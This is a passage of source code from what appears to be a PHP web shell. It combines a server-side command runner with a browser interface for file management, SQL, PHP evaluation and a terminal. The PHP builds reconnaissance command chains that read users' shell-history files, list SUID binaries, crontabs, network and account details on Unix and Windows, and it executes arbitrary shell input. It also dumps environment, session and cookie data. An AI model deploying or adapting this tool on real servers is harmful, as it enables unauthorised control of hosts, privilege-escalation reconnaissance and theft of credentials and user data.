                if (strpos($i, 'l') === FALSE)
                    $v .= $h . 'Lang;' . $t . 'php -v|head -n1;python -V 2>&1;perl -v|head -n2|tail -n1;ruby -v;gcc --version|head -n1;';
                if (strpos($i, 'p') === FALSE)
                    $v .= $h . 'Processes;' . $t . 'ps -uax;';
                if (strpos($i, 'c') === FALSE)
                    $v .= $h . 'CPU;' . $t . 'cat /proc/cpuinfo;';
                if (strpos($i, 'n') === FALSE)
                    $v .= $h . 'Network;' . $t . 'tail -n +1 /etc/host*;' . "echo '==> Listening ports <==';" . 'netstat -ln;' . "echo '==> IP config <==';" . 'ifconfig -a; ip a;';
                if (strpos($i, 'r') === FALSE)
                    $v .= $h . 'Cron;' . $t . 'tail -n +1 /etc/*crontab;' . "echo '==> Files <==';" . 'ls -al /etc/*cron*;ls -al /var/spool/cron/*;echo;';
                if (strpos($i, 'h') === FALSE)
                    $v .= $h . 'Histories;' . $t . 'for d in `cut -d":" -f6 /etc/passwd`;do ls -al $d/.*hist*;done;';
                if (strpos($i, 'f') === FALSE) {
                    $v .= $h . 'File System;' . $t . "echo '==> mount <==';mount;echo;echo '==> Disks <==';df -h;echo;echo '==> / <==';ls -al /;echo;echo '==> /boot <==';ls -al /boot;echo;echo '==> /etc <==';ls -al /etc;echo;echo '==> /tmp <==';ls -al /tmp;echo;echo '==> Libs <==';ls -al --full-time /lib*;echo;";
                    if (strpos($i, 's') === FALSE)
                        $v .= "echo '==> SUID Files <==';" . 'find / -type f -perm -u+s -ls;';
                }
            } else {
                $t = 'echo  ------------------------------------------------- & ';
                $h = $t . 'echo ^|  ';
                $v .= $h . 'OS &' . $t . 'reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName & ';
                if (strpos($i, 's') === FALSE)
                    $v .= $h . 'System Info & ' . $t . 'systeminfo & ';
                if (strpos($i, 'e') === FALSE)
                    $v .= $h . 'Environment & ' . $t . 'SET & ';
                if (strpos($i, 'u') === FALSE)
                    $v .= $h . 'Users and Groups & ' . $t . 'NET USER & NET LOCALGROUP & NET GROUP & ';
                if (strpos($i, 't') === FALSE)
                    $v .= $h . 'Tasks & ' . $t . 'schtasks /v & ';
                if (strpos($i, 't') === FALSE)
                    $v .= $h . 'Processes & ' . $t . 'tasklist /SVC & ';
                if (strpos($i, 'n') === FALSE)
                    $v .= $h . 'Network & ' . $t . 'echo ==^> ipconfig ^<== & ipconfig /all & echo ==^> netstat ^<== & netstat -ano & echo ==^> Files ^<== & type %systemroot%\\system32\\drivers\\etc\\* & ';
                if (strpos($i, 'r') === FALSE)
                    $v .= $h . 'Share & ' . $t . 'NET SHARE & ';
            }
            $i = getCmdOpt($D['e'], 'f', FALSE);
            exe($v, $D['f'], $D['s'], TRUE, $i ? ' 1>' . $i : '');
            if ($i)
                echo 'Report saved as ', $i, "\n";
        } else {
            $s = NIX ? ';' : '&';
            $v = 'cd ' . (NIX ? nesc($D['p']) : wesc($D['p'])) . $s;
            if ($D['e'] !== '') {
                $v .= $D['e'];
                if (substr($D['e'], -1) !== $s)
                    $v .= $s;
            }
            $v .= 'echo ' . "\x03\x1E\x02" . $s . (NIX ? 'whoami' : 'echo %username%') . $s . 'hostname' . $s . (NIX ? 'pwd' : 'cd');
            exe($v, $D['f'], $D['s'], !isset($D['h']));
        }
        sDie("\x03\x1E\x17\x04\x10");
        break;
    default:
        if ($D['t'] === 'm') {
            infMain();
            sDie();
        }
        if ($D['t'] === 'p') {
            echo '{"Configs":{';
            $a = array();
            $b = FALSE;
            if (PHP_VERSION >= '5.2.4')
                $a[] = php_ini_loaded_file();
            if (PHP_VERSION >= '4.3')
                $a[] = php_ini_scanned_files();
            if ($a) {
                $b = TRUE;
                echo '"Loaded files":';
                jsonEcho(implode(",\n", $a));
            }
            if (PHP_VERSION >= '4.2' && is_array($a = ini_get_all()))
                foreach ($a as $k => $v) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    jsonEcho($k);
                    echo ':';
                    jsonEcho($v['local_value']);
                }
            echo '}';
            echo ',"Main Constants":{';
            $b = FALSE;
            foreach (array(
                'PHP_OS',
                'PHP_WINDOWS_VERSION_MAJOR',
                'PHP_WINDOWS_VERSION_MINOR',
                'PHP_WINDOWS_VERSION_BUILD',
                'PHP_WINDOWS_VERSION_SP_MAJOR',
                'PHP_WINDOWS_VERSION_SP_MINOR',
                'PHP_WINDOWS_VERSION_SUITEMASK',
                'PHP_WINDOWS_VERSION_PLATFORM',
                'PHP_WINDOWS_VERSION_PRODUCTTYPE',
                'PHP_WINDOWS_NT_WORKSTATION',
                'PHP_WINDOWS_NT_SERVER',
                'PHP_WINDOWS_NT_DOMAIN_CONTROLLER',
                'PHP_SAPI',
                'PHP_VERSION',
                'PHP_BINARY',
                'PHP_PREFIX',
                'PHP_BINDIR',
                'PHP_LIBDIR',
                'PHP_SHLIB_SUFFIX',
                'PHP_EXTENSION_DIR',
                'PHP_DATADIR',
                'PHP_CONFIG_FILE_PATH',
                'PHP_CONFIG_FILE_SCAN_DIR',
                'PHP_MANDIR',
                'DEFAULT_INCLUDE_PATH',
                'PHP_SYSCONFDIR',
                'PHP_LOCALSTATEDIR',
                'DIRECTORY_SEPARATOR',
                'PATH_SEPARATOR',
                'PHP_MAXPATHLEN',
                'PHP_INT_MAX',
                'PHP_INT_SIZE',
                'PEAR_INSTALL_DIR',
                'PEAR_EXTENSION_DIR'
            ) as $v)
                if (defined($v)) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    echo '"', $v, '":';
                    jsonEcho(constant($v));
                }
            echo '}';
            if (is_array($a = get_loaded_extensions())) {
                echo ',"Modules":{';
                $b = FALSE;
                $i = array(
                    'DOTTED_VERSION',
                    'VERSION',
                    'VERSION_TEXT'
                );
                foreach ($a as $v) {
                    if ($b)
                        echo ',';
                    else
                        $b = TRUE;
                    jsonEcho($v);
                    echo ':';
                    if (!($k = phpversion($v))) {
                        $v = strtoupper($v);
                        foreach ($i as $n)
                            if (defined($v . '_' . $n)) {
                                $k = constant($v . '_' . $n);
                                break;
                            }
                    }
                    if ($k)
                        jsonEcho($k);
                    else
                        echo '""';
                }
                echo '}';
            }
            if (PHP_VERSION >= '5') {
                echo ',"Streams":{"Transports":';
                jsonEcho(implode(", ", stream_get_transports()));
                echo ',"Wrappers":';
                jsonEcho(implode(", ", stream_get_wrappers()));
                echo ',"Filters":';
                jsonEcho(implode(", ", stream_get_filters()));
                echo '}';
            }
            $b = FALSE;
            foreach (array(
                '_ENV',
                '_SERVER',
                '_SESSION',
                '_REQUEST',
                '_GET',
                '_POST',
                '_COOKIE',
                '_FILES',
                'HTTP_RAW_POST_DATA',
                'argc',
                'argv'
            ) as $v)
                if (isset($$v) && count($$v) > 0) {
                    if (!$b)
                        echo ',"Global Variables":{';
                    foreach ($$v as $k => $i) {
                        if ($b)
                            echo ',';
                        else
                            $b = TRUE;
                        jsonEcho($v . '[' . $k . ']');
                        echo ':';
                        jsonEcho(print_r($i, TRUE));
                    }
                }
            if ($b)
                echo '}';
            sDie('}');
        }
        break;
}

}

ob_start();
?>

<!DOCTYPE html><html><head><link rel="icon" type="image/gif" href="data:image/ico;base64,<?php $ico = $_SERVER['DOCUMENT_ROOT'].'/favicon.ico'; echo (file_exists($ico) ? base64_encode(file_get_contents($ico)) : 'R0lGODlhEAAQAJECAMDAwAAAAP///wAAACH5BAEAAAIALAAAAAAQABAAQAIglI+pGwErgITtiWowc7D7b0iWGE7gp51qknrkemgyBxcAOw==');?>"/><meta name="referrer" content="no-referrer"/><title><?php if(isset($_SERVER['HTTP_HOST']))echo escHTML($_SERVER['HTTP_HOST']);elseif(isset($_SERVER['SERVER_NAME']))echo escHTML($_SERVER['SERVER_NAME']);?></title><style>*{box-sizing:border-box;outline:0}:focus{outline:none;}:disabled{opacity:.5}::-moz-focus-inner{padding:0;border:0}html{height:100%;padding:0 0 8px 0;background-color:#f0f0f0}body{background:#f0f0f0;position:relative;display:flex;margin:0 auto 8px auto;width:1000px;min-height:100%;font:normal 11px/1.5 Verdana,sans-serif;border:1px solid #fff;box-shadow:0 0 10px rgba(0,0,0,.5);flex-direction:column}iframe{display:none}a,a:visited{color:unset;text-decoration:none}pre{display:block}fieldset{border:1px solid #c7c7c7}table{font-size:12px;width:100%;border-collapse:collapse}th,td{padding:3px 5px;border:1px solid #dfdfdf}thead,tfoot{color:#fcfcfc;background:#7f7f7f}tbody{background:#f7f7f7}tbody tr:hover{background:#ececec}tfoot th{padding:8px 0 4px 2px;text-align:left}tfoot button{width:90px}input,select,button,textarea{margin:1px 2px;font:11px/1.4 Verdana,sans-serif;background:#eaeaea;border:1px solid #c7c7c7}label,select,button{cursor:pointer}button{padding:1px 10px;border-radius:3px}textarea{display:block;flex:1;font:13px/1.5 'Courier New',monospace;background:#fff;resize:none}input[type="text"]{padding:1px 2px;display:block;width:100%;flex:1}input[type="text"]:not(:disabled):focus{background:#fff}input[type="checkbox"]{vertical-align:text-top}input:not(:disabled):hover,select:not(:disabled):hover,button:not(:disabled):hover,input:not(:disabled):focus,select:not(:disabled):focus,button:not(:disabled):focus{background:#f0f0f0;border-color:#a7a7a7}button:not(:disabled):active{background:#e0e0e0;border-color:#a0a0a0 #d0d0d0 #d0d0d0 #a0a0a0}textarea:hover,textarea:focus{border-color:#7f7f7f}#divHdr{position:absolute;top:2px;right:4px;z-index:1}#divBody{position:relative;flex:1}#divFtr{margin:0 2px 3px 2px;clear:both}#divFtr div{flex:1 1 0}#divDtTm{text-align:center}#actLog{display:none;float:right;font-size:20px;line-height:16px}#divMsgs{position:fixed;left:0;right:0;bottom:10px;z-index:999;max-height:20%;overflow-y:auto}#divMsgs div{opacity:0.8}#divMsgs div:hover{opacity:1}.tab,:target ~ #tabInf .tab{display:inline-block;margin:5px 0 0 2px;padding:3px 15px 1px 15px;color:#707070 !important;border:1px solid #d0d0d0;border-bottom:0;border-radius:3px 3px 0 0;background:#e7e7e7}:target .tab,#tabInf .tab{position:relative;margin-bottom:-2px;padding-bottom:3px;z-index:1;color:#000 !important;background:#f7f7f7}.tabPage{display:none;float:left;width:100%;height:100%;flex-direction:column}:target .tabPage,#divInfo.tabPage{display:flex}:target ~ #tabInf>#divInfo.tabPage{display:none}.toolbar,.subbar,.panel{display:flex;border:1px solid #d0d0d0;background:#f7f7f7}.toolbar{margin:1px 0 4px 0;padding:8px 2px 5px 2px;border-width:1px 0;align-items:center;justify-content:space-between}.subbar{margin:-5px 0 4px 0;padding:2px 3px 5px 5px;border-width:0 0 1px 1px;border-radius:0 0 0 4px;align-self:flex-end}.panel{position:relative;margin:0 2px 8px 2px;padding:4px 3px}.arwUp,.arwDwn{display:inline-block;margin:0 0 2px 0;padding:0;border:solid transparent;border-width:4px 5px 4px 5px}.arwUp{border-top:0;border-bottom-color:#000}.arwDwn{border-top-color:#000;border-bottom:0}.spnChrst{display:inline-block;margin:0 0 0 4px;padding:0}.spnChrst .arwUp,.spnChrst .arwDwn{position:relative;margin:0 -16px 2px 2px}.spnChrst select{padding-left:11px}.cntrl{display:inline-block;overflow:hidden;opacity:.5;color:#000;border-radius:5px}.cntrl.arwDwn{margin:0 1px;border-width:7px 6px 0 6px;border-radius:0}.cntrl:hover,.cntrl:focus{opacity:1}.divCntrls .cntrl,#btnSrch{width:18px;height:19px}.divCntrls .cntrl{float:right;margin-top:-1px;font:normal 20px/16px Verdana,sans-serif;text-align:center}.lnkAct:hover{text-decoration:underline}.blink{animation:blink 1s steps(2,start) infinite}@keyframes blink{to{color:transparent}}.modal{display:flex;position:fixed;visibility:hidden;z-index:100;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);padding:3px 3px 5px 3px;flex-direction:column;border:1px solid #fff;background:#f7f7f7;box-shadow:0 0 10px rgba(0,0,0,.5)}.divCntrls{margin-bottom:5px;user-select:none;}.spnTitle{font-weight:bold}.option{display:block;margin:0 2px 10px 2px;flex:1}.option input[type="text"]{margin:1px 0}.option select{display:block;margin:0 1px}.divMsgPrcs,.divMsgErr,.divMsgInf{margin:0 10px 10px 10px;padding:3px 3px 3px 5px;white-space:pre-wrap;border:1px solid;border-radius:3px}.divMsgPrcs{background-image:linear-gradient(#fff,#e0e0e0);border-color:#a0a0a0}.divMsgErr{background-image:linear-gradient(#fff,#ffd0d0);border-color:#ffa0a0}.divMsgInf{background-image:linear-gradient(#fff,#c0c0ff);border-color:#a0a0ff}#divStngs{width:300px}#divLog{width:80%;height:50%}#divLogCntn{overflow-y:auto}.flexRow{display:flex;align-items:center;justify-content:space-between}.unq{color:#7a6f15}#divPagePHP,#frmTrm{position:absolute;padding-bottom:30px}#btnSrch{margin-right:4px}#btnSrch:before,#btnSrch:after{content:'';display:inline-block;border:1px solid}#btnSrch:before{margin:0 0 0 2px;width:8px;height:9px;border-radius:50%}#btnSrch:after{margin:0 0 -5px 0;height:6px;transform:rotate(-45deg)}#btnFastAct{height:19px;margin-left:-4px;padding:1px 5px;border-radius:0 3px 3px 0}#btnFastAct:active{padding:2px 5px 0 5px}#frmFiles{margin:0 2px 10px 2px}#tblFiles{display:none;table-layout:fixed}#tblFiles thead th:first-of-type,#tblFiles td:first-of-type{padding:0;text-align:center}#tblFiles td:nth-of-type(3){white-space:nowrap}#tblFiles td:nth-of-type(4){text-align:right}#tblFiles td:nth-of-type(n+5){text-align:center}#txtClpbrd{position:fixed;top:-1px;left:-1px;margin:0;padding:0;width:1px;height:1px;border:0}#frmLnk,.frmFilesPrps{width:700px}#frmSrch{width:570px}#frmBuffer,.frmFile{width:800px;height:80%}.frmFile{min-width:400px;min-height:150px;overflow:auto;resize:both}.spcrFlex{border:0;flex:1}.spcr20{border:0;width:20px}.noFlex .option{flex:initial}.spnBtnSbMn{position:relative}.btnSbMn{width:75px}.divSbMn{display:none;position:absolute;top:100%;right:3px;margin-top:-1px;width:73px;z-index:1;border:1px solid #c7c7c7;background:#efefef}.aMnItm{display:block;margin:1px;padding:2px 4px}.aMnItm:hover{background:#e0e0e0}.thPth{padding:8px 0 4px 0;background:#f0f0f0}.spnPth{display:inline-block;font:14px/1.4 'Courier New',monospace}.spnPth:hover ~ .spnPth{color:#cfcfcf}.tdUp{transform:rotate(180deg)}.lnkBlck{display:block;white-space:pre-wrap;word-break:break-all;min-height:1em}.lnk:after{content:'\21B5';float:right}.mrkd{text-decoration:underline}.prm0,.prm1,.prm2,.prm3{font:12px 'Courier New',monospace}.prm0{color:red !important}.prm2{color:#2b2bb2 !important}.prm3{color:#00aa00 !important}#tabSQL .toolbar input[type="text"]{margin:1px 4px}#divSQLWrpLeft{display:none;float:left;width:25%}#divSQLWrpRight{float:right;width:75%;padding-left:5px}#divSchm{position:static;white-space:nowrap;width:100%;overflow-x:hidden}.divItm{margin-bottom:2px}.actRe{margin:0 1px -3px 0;width:16px;height:14px;font:normal 19px/10px Verdana,sans-serif;border:1px solid transparent}.aMore{margin:0 1px}/*.aMore:hover{position:absolute;padding-right:3px;border-radius:3px;background:#f7f7f7;z-index:90}*/.spnRC{position:relative;float:right;margin-left:-100%;padding-left:5px;color:#0000cc;background:rgba(247,247,247,.85)}.divLst{margin:2px 0 10px 15px}.divFldTp{height:1.5em;margin:0 0 0 18px;color:#afafaf;font-size:xx-small}.divFldTp,.divItm{text-overflow:ellipsis;overflow:hidden}#frmSQL,#frmPg{display:none}#divCptn{margin:0 4px 2px 4px;font-style:italic}#divData{margin:0 4px 4px 0;overflow:auto}#divDump{justify-content:center;align-items:center}#tblHead,#tblData{margin:0 auto;width:auto}#frmPg input[type="text"]{display:inline-block;width:auto}#frmPHP{margin-bottom:3px}.cmpsRow:before,.cmpsCol:before{margin:0 2px 0 1px;font-size:15px;line-height:0}.cmpsRow:before{content:'\2B12'}.cmpsCol:before{content:'\25E7'}#sbmPHP{margin-left:15px}#divPHP{display:flex;flex:1 1 0;overflow:hidden}#txtPHP{color:#0d0d0d;background:#fff}#prePHP{margin:2px;padding:2px 4px;flex:1 0 0;overflow:auto;background:#fff;border:1px solid #c7c7c7}#divTrm::selection{background:#f0f0f0}#divTrm,#preTrm,#inpTrm{color:#0d0d0d;font:12px/18px 'Courier New',monospace;background:#fff}#divTrm{margin:0 2px 1px 2px;padding:4px;flex:1 1 0;overflow:auto;border:1px solid #f0f0f0}#preTrm,#inpTrm{margin:0;padding:0}#preTrm{white-space:pre-wrap;-moz-tab-size:4;tab-size:4}#inpTrm{border:0}#inpTrm:focus{box-shadow:none}#tblInf{margin:4px 2px 10px 2px;width:auto}#tblInf th,#tblInf td{vertical-align:top}#tblInf th{width:1%;padding-right:10px;text-align:left;white-space:nowrap}#tblInf th:only-child{height:3em;text-align:center;vertical-align:bottom;border:none;background:#F0F0F0}#tblInf td{white-space:pre-wrap;word-break:break-all}</style>



<script>HTMLSelectElement.prototype.__defineGetter__('textValue', function() {
 return this.options[this.selectedIndex].label;
});
var mdlWndws = [],
 tmShft = <?php echo time()*1000;?> - Date.now(),
 exeFuncs = [], fmSort = [1, 1],
 spnDtTm;
document.addEventListener('DOMContentLoaded', function() {
 if (sessionStorage.getItem('uiRszBody')) document.body.style.width = '100%';
 var e = elmById('dataExe').textContent.split('\n');
 for (var i = 0, c = e.length - 1; i < c; i += 4) {
  var v = e[i].trimRight().split(':');
  if(e[i + 1] && e[i + 2] && e[i + 2])
	exeFuncs.push([v[0], v[1], e[i + 1].trimRight() + '@' + e[i + 2].trimRight(), e[i + 3].trimRight()]);
 }
 e = elmById('frmCstEnv');
 if (exeFuncs.length > 0) {
  strgRstrChck('envCstm', e.e);
  for (var i = 0, c = exeFuncs.length, v = sessionStorage.getItem('envFunc') | 0; i < c; ++i) {
   var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]);
   if (exeFuncs[i][0] == v) opt.selected = true;
   e.f.add(opt);
  }
  strgRstrVal('envShell', e.s);
  strgRstrVal('envIntrPth', e.i);
  strgRstrChck('envIntrOptN', e.n);
  strgRstrChck('envIntrOptC', e.c);
 } else {
  elmById('fldEnv').disabled = true;
  e.e.disabled = true;
 }
 strgRstrChck('ro', 'cbRO');
 strgRstrChck('rr', 'cbRR');
 strgRstrChck('tm', 'cbTM');
 strgRstrChck('oi', 'cbOI');
 fmRestoreState();
 sqlRestoreState();
 phpRestoreState();
 trmRestoreState();
 spnDtTm = elmById('divDtTm').firstChild;
 uiUpdDtTm();
 setInterval(uiUpdDtTm, 1500);
}, false);
window.onbeforeunload = function() {
 strgSaveBool('uiRszBody', document.body.style.width === '100%');
 if (exeFuncs.length > 0) {
  var e = elmById('frmCstEnv');
  strgSaveBool('envCstm', e.e.checked);
  strgSaveOpt('envFunc', e.f.value);
  strgSaveStr('envShell', e.s.value);
  strgSaveStr('envIntrPth', e.i.value);
  strgSaveBool('envIntrOptN', e.n.checked);
  strgSaveBool('envIntrOptC', e.c.checked);
 }
 strgRstrChck('ro', 'cbRO');
 strgRstrChck('rr', 'cbRR');
 strgRstrChck('tm', 'cbTM');
 strgRstrChck('oi', 'cbOI');
 fmSaveState();
 sqlSaveState();
 phpSaveState();
 trmSaveState();
};

function elmById(v) {
 return document.getElementById(v);
}

function newElm(tag, attr) {
 var e = document.createElement(tag);
 for (var k in attr) e[k] = attr[k];
 return e;
}

function strgRstrVal(opt, elm) {
 opt = sessionStorage.getItem(opt);
 if (opt === null) return;
 if (typeof elm === 'string') elm = elmById(elm);
 elm.value = opt;
}

function strgRstrArr(n) {
 var val = sessionStorage.getItem(n);
 return val === null ? [] : JSON.parse(val);
}

function strgRstrChck(opt, elm) {
 if (sessionStorage.getItem(opt) === null) return;
 if (typeof elm === 'string') elm = elmById(elm);
 elm.checked = true;
}

function uiKeyDwn(e) {
 e = e || window.event;
 var c = mdlWndws.length;
 if (c === 0) return;
 if (e.which === 27)
  for (var i = c - 1; i >= 0; --i) {
   if (mdlWndws[i].clientTop) return mdlWndws[i].firstChild.childNodes[1].onclick();
  } else if (c > 1 && e.altKey === true && e.which === 84)
   for (var i = 0; i < c; ++i)
    if (mdlWndws[i].clientTop && i + 1 < c) {
     mdlWndws[i].style.zIndex = (mdlWndws[c - 1].style.zIndex | 0) + 1;
     mdlWndws.push(mdlWndws.splice(i, 1)[0]);
     return;
    }
}

function uiUpdDtTm() {
 var v = new Date(Date.now() + tmShft).toISOString();
 v = v.slice(0, 10) + ' ' + v.slice(11, 13) + '<span class="blink">:</span>' + v.slice(14, 16);
 if (spnDtTm.innerHTML !== v) spnDtTm.innerHTML = v;
}

function strgSaveArr(n, v) {
 if (v.length) sessionStorage.setItem(n, JSON.stringify(v));
 else sessionStorage.removeItem(n);
}

function strgSaveBool(n, v) {
 if (typeof v === 'string') v = elmById(v).checked;
 if (v) sessionStorage.setItem(n, 1);
 else sessionStorage.removeItem(n);
}

function strgSaveStr(n, v) {
 if (v === '') sessionStorage.removeItem(n);
 else sessionStorage.setItem(n, v);
}

function strgSaveOpt(n, v) {
 if (v !== '' && v !== 'UTF-8') sessionStorage.setItem(n, v);
 else sessionStorage.removeItem(n);
}

function uiRszBody() {
 var s = document.body.style;
 s.width = s.width === '100%' ? '' : '100%';
 return false;
}

function uiRsz(e) {

 if(typeof e === 'string') e = elmById(e);
 
 var s = e.style;
 var cr = JSON.parse(e.getAttribute('cr'));
 
 if (s.width === '100%'){
    if(typeof cr != null){
        s.width = cr.width;
        s.height = cr.height;
        s.top = cr.top + (cr.height / 2);
        s.left = cr.left + (cr.width / 2);
    }
    else{
      s.width = '';
      s.height = '';
    }
 }
 else{
	e.setAttribute('cr', JSON.stringify(e.getBoundingClientRect()));
    s.top = s.left = '';
    s.width = s.height = '100%';
 }
 
 return false;
}

function uiDelMsg(div) {
 elmById('divMsgs').removeChild(div);
 return false;
}

function setMsgTmr(div) {
 var fnc = uiDelMsg.bind(null, div),
  tmr = setTimeout(fnc, 5000);
 div.onmouseover = function() {
  clearTimeout(tmr);
 };
 div.onmouseout = function() {
  tmr = setTimeout(fnc, 5000);
 };
}

function uiClsMsg() {
 return uiDelMsg(this.parentNode);
}

function uiMsg(msg, type) {
 if (!type) {
  type = 'Prcs';
  msg += ' \u2026';
 }
 var div = newElm('div', {
  className: 'divCntrls divMsg' + type
 });
 div.appendChild(newElm('a', {
  href: '#',
  className: 'cntrl',
  textContent: '\u00D7',
  onclick: uiClsMsg
 }));
 div.appendChild(document.createTextNode(msg));
 var elm = elmById('divMsgs');
 elm.insertBefore(div, elm.firstChild);
 if (type !== 'Prcs') setMsgTmr(div);
 return div;
}

function uiChngMsg(div, msg, type) {
 div.firstChild.onclick = uiClsMsg;
 div.lastChild.textContent = msg;
 div.className = 'divMsg' + type;
 setMsgTmr(div);
 var elm = elmById('actLog').style;
 if (elm.display !== 'inline-block') elm.display = 'inline-block';
 elm = elmById('divLogCntn');
 elm.insertBefore(newElm('div', {
  className: 'divMsg' + type,
  textContent: '(' + utsToStr(Date.now() / 1000) + ') ' + msg
 }), elm.firstChild);
 return false;
}

function uiNetErrMsg(div) {
 uiChngMsg(div, 'Network error\n' + div.lastChild.textContent.slice(0, -2), 'Err');
}

function uiShwModal(elm) {
 if (typeof elm === 'string') elm = elmById(elm);
 if (elm.style.visibility === 'visible') return false;
 elm.style.zIndex = mdlWndws.length === 0 ? 100 : (mdlWndws[mdlWndws.length - 1].style.zIndex | 0) + 1;
 elm.style.visibility = 'visible';
 mdlWndws.push(elm);
 elm.focus();
 return false;
}

function uiActvModal(evnt) {
 var elm = evnt.currentTarget,
  n = mdlWndws.indexOf(elm);
 if (n !== -1) {
  var i = mdlWndws.length - 1;
  if (mdlWndws[i] !== elm) {
   elm.style.zIndex = (mdlWndws[i].style.zIndex | 0) + 1;
   mdlWndws.splice(n, 1);
   mdlWndws.push(elm);
  }
 }
 if (evnt.target.tagName === 'SPAN' || evnt.target.tagName === 'DIV') {
  elm.style.cursor = 'move';
  var dx = evnt.pageX - elm.offsetLeft,
   dy = evnt.pageY - elm.offsetTop;
  document.onmousemove = function(e) {
   elm.style.left = (e.clientX - dx) + 'px';
   elm.style.top = (e.clientY + window.pageYOffset - dy) + 'px';
  };
  document.onmouseup = function() {
   document.onmousemove = null;
   document.onmouseup = null;
   elm.style.cursor = '';
  };
  evnt.preventDefault();
  evnt.stopPropagation();
  return false;
 }
}

function uiClsModal(elm) {
 if (typeof elm === 'string') elm = elmById(elm);
 elm.style.visibility = 'hidden';
 mdlWndws.splice(mdlWndws.indexOf(elm), 1);
 return false;
}

function uiSlctTxt(id) {
 var r = document.createRange(),
  s = window.getSelection();
 r.selectNode(elmById(id));
 s.removeAllRanges();
 s.addRange(r);
}

function utsToStr(v) {
 if (v < 1) return '?';
 v = new Date(v * 1000).toISOString();
 return v.slice(0, 10) + ' ' + v.slice(11, 19);
}

function clnLog() {
 elmById('actLog').style.display = 'none';
 elmById('divLog').style.visibility = 'hidden';
 var div = elmById('divLogCntn');
 for (var i = div.childNodes.length - 1; i >= 0; --i) div.removeChild(div.childNodes[i]);
 return false;
}
var DS = '<?php echo NIX?"/":"\\\\";?>',
 fmBuffer = [],
 elmTblFiles = null,
 elmTmplFileRow = null,
 elmPth = null,
 fileTypes = {
  0xE000: 'P',
  0xD000: 'D',
  0xC000: 's',
  0xA000: 'l',
  0x8000: '-',
  0x6000: 'b',
  0x4000: 'd',
  0x2000: 'c',
  0x1000: 'p'
 };

function fmSaveState() {
 strgSaveStr('fmPath', elmPth.placeholder);
 strgSaveArr('fmBuffer', fmBuffer);
}

function fmRestoreState() {
 elmTblFiles = elmById('tblFiles');
 elmTmplFileRow = elmById('tmplFileRow').content.firstChild;
 elmPth = elmById('frmFM').p;
 strgRstrVal('fmPath', elmPth);
 elmPth.placeholder = elmPth.value;
 fmBuffer = strgRstrArr('fmBuffer');
 if (fmBuffer.length > 0) elmById('btnBufferMenu').disabled = false;
}

function uiCheckAll(id, state) {
 var elms = elmById('frm' + id)['f[]'];
 if (elms) {
  if (elms.length > 0)
   for (var i = elms.length - 1; i >= 0; --i) elms[i].checked = state;
  else elms.checked = state;
 }
}

function fmAjxSnd(msg, clbck, data, frm, chrst) {
 if (!data) data = {};
 data.a = 'f';
 if (!('c' in data)) {
  var cs = elmById('fmCSLoad').value;
  if (cs !== '') data.c = cs;
 }
 ajxSnd(msg, clbck, frm, data, chrst ? chrst : elmById('fmCSSend').value);
}

function parseName(file) {
 var n = file[0],
  e = '';
 if (file[1] === null) {
  n = '[ ' + n + ' ]';
  e = '[ DIR ]';
 } else {
  var p = n.lastIndexOf('.');
  if (p > 0) {
   e = n.slice(p + 1);
   //n = n.slice(0, p);
  }
 }
 file[0] = [file[0], n, e];
}

function cmprFiles(f1, f2) {
 var [o, i] = fmSort;
 var c1 = (i[1] ? f1[i[1]] : f1[0][i]);
 var c2 = (i[1] ? f2[i[1]] : f2[0][i]);

 var f1F = f1[1] !== null, f2F = f2[1] !== null;
 
 if (f1F && f2F) {
  if (c1 !== c2) return c1 > c2 ? 1*o : -1*o;
 }
 else if (f1F) return 1*o;
 else if (f2F) return -1*o;
 return f1[0][1] > f2[0][1] ? 1*o : -1*o;
}

function frmtSize(s) {
 if (s === null) return '[ DIR ]';
 if (s === -1) return '?';
 if (s > 999) {
  s = s.toString();
  for (var i = s.length - 3; i > 0; i -= 3) s = s.slice(0, i) + '\u2009' + s.slice(i);
 }
 return s;
}

function prmsToStr(p) {
 p |= 0;
 if (p === 0) return '?';
 var v = p & 0xF000;
 return ((v in fileTypes) ? fileTypes[v] : 'u') + ((p & 0x0100) ? 'r' : '-') + ((p & 0x0080) ? 'w' : '-') + ((p & 0x0040) ? ((p & 0x0800) ? 's' : 'x') : ((p & 0x0800) ? 'S' : '-')) + ((p & 0x0020) ? 'r' : '-') + ((p & 0x0010) ? 'w' : '-') + ((p & 0x0008) ? ((p & 0x0400) ? 's' : 'x') : ((p & 0x0400) ? 'S' : '-')) + ((p & 0x0004) ? 'r' : '-') + ((p & 0x0002) ? 'w' : '-') + ((p & 0x0001) ? ((p & 0x0200) ? 't' : 'x') : ((p & 0x0200) ? 'T' : '-'));
}

function updFileRow(row, file, ogn) {
 row.style.visibility = 'hidden';
 row.cells[3].firstChild.textContent = frmtSize(file[1]);
 row.cells[4].textContent = utsToStr(file[2]);
 var elm = row.cells[5].firstChild;
 elm.className = 'lnkAct prm' + file[3];
 <?php if(NIX){?>elm.textContent = prmsToStr(file[4]);
 elm.title = (file[4] | 0).toString(8).slice(-4);
 elm = row.cells[6];
 elm.textContent = ogn;
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
 <?php }else{?>switch(file[3]) {
  case 1: elm.textContent = 'read';
  break;
  case 2: elm.textContent = 'write';
  break;
  case 3: elm.textContent = 'read/write';
  break;
  default: elm.textContent = 'none';
  break;
 }
 <?php }?>row.style.visibility = 'visible';
}

function fillFileRow(cells, bpth, file, ogn) {
 var fpth = bpth + file[0][0],
  elm = cells[1].firstChild,
  len = file.length;
 if (file[1] === null) fpth += DS;
 cells[0].firstChild.value = fpth;
 elm.textContent = file[0][1];
 if (len % 2 === 0) {
  elm.title = canonPath(file[len - 1], bpth);
  elm.classList.add('lnk');
 }
 if (fmBuffer.indexOf(fpth) > -1) elm.classList.add('mrkd');
 elm = cells[2].firstChild;
 elm.title = file[0][0];
 elm.textContent = file[0][2];
 cells[3].firstChild.textContent = frmtSize(file[1]);
 cells[4].textContent = utsToStr(file[2]);
 elm = cells[5].firstChild;
 elm.classList.add('prm' + file[3]);
 <?php if(NIX){?>elm.textContent = prmsToStr(file[4]);
 elm.title = (file[4] | 0).toString(8).slice(-4);
 elm = cells[6];
 elm.textContent = ogn;
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
